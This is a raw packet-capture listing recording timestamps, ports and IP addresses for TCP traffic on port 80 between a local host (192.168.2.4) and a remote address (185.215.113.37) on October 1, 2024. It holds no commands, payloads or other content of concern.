Oct 1, 2024 06:03:10.536623001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536643028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536653996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536675930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536680937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536709070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536720037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536741972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536748886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536773920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536786079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536807060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536814928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536839008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536849022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536874056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.536881924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.536916971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584111929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584146976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584181070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584213972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584290981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584290981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584290981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584304094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584337950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584389925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584399939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584446907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584470034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584518909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584520102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584568024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584568977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584615946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584621906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584669113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584670067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584717989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584718943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584750891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584767103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584794998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584799051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584847927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584851980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584881067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584892035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584925890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584929943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584961891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.584973097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.584994078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585006952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585041046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585042000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585069895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585088968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585115910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585119963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585150957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585166931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585180044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585192919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585223913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585231066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585278988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585279942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585326910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585329056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585361958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585371017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585406065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585410118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585443974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585460901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585474968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585485935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585508108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585515976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585540056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585555077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585587978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585603952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585622072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585638046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585654974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585669041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585681915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585696936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585714102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585735083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585746050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585760117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585777998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585800886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585812092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585825920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585844040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585863113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585877895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585892916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585912943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585925102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585946083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585961103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.585977077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.585989952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586009979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586036921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586038113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586056948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586070061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586080074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586102009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586133957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586149931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586165905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586179972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586196899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586211920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586227894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586242914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586260080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586276054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586287975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586308002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586321115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586337090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586355925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586369038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586390018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586405039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586422920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586438894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586455107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586469889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586487055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586503029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586519003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586529016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586550951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586579084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586584091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586594105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586610079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586632967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586641073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586647034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586673021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586704969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586725950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586735010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586751938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586767912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586776972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586800098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586813927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586832047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586843967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586863995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586882114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586896896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586915970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586930037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586940050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.586961985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.586977005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.587008953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.621870995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.621906042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.621938944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622042894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622044086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622044086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622076035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622076035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622096062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622107983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622124910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622140884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622160912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622188091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622193098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622225046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622241020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622273922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622273922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622307062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622323036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622339010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622353077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622371912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622386932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622416973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622421026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622452021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622472048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622499943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622505903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622551918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622555017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622589111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622602940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622621059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622637987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622668028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622673988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622704983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622721910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622737885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622756004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622770071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622786999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622802973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622817039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622833967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622849941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622865915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622883081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622898102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622910976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622930050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622945070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622961044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.622981071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.622992992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623007059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623025894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623040915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623058081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623070002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623090029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623106003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623121023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623135090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623152971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623167992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623184919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623193979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623218060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623228073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623251915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623282909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623315096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623332977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623347998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623382092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.623394012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623409033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.623471022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.670977116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671046019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671094894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671134949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671155930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671161890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671195030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671247005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671252966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671303988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671305895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671336889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671350002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671401024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671406031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671453953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671457052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671489954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671500921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671539068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671555996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671602964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671612024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671658993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671659946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671691895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671706915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671724081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671740055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671767950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671775103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671807051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671814919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671838999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671853065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671884060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671889067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671921968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671933889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671952963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.671969891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.671996117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672002077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672029018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672054052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672061920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672061920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672103882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672110081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672142029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672156096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672174931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672187090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672208071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672219992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672241926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672250032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672276020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672286034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672308922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672317028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672341108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672352076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672373056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672375917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672409058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672413111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672441006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672449112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672472000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672475100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672504902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672514915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672538042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672544956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672570944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672579050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672602892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672610998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.672635078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.672642946 CEST	49730	80	192.168.2.4	185.215.113.37
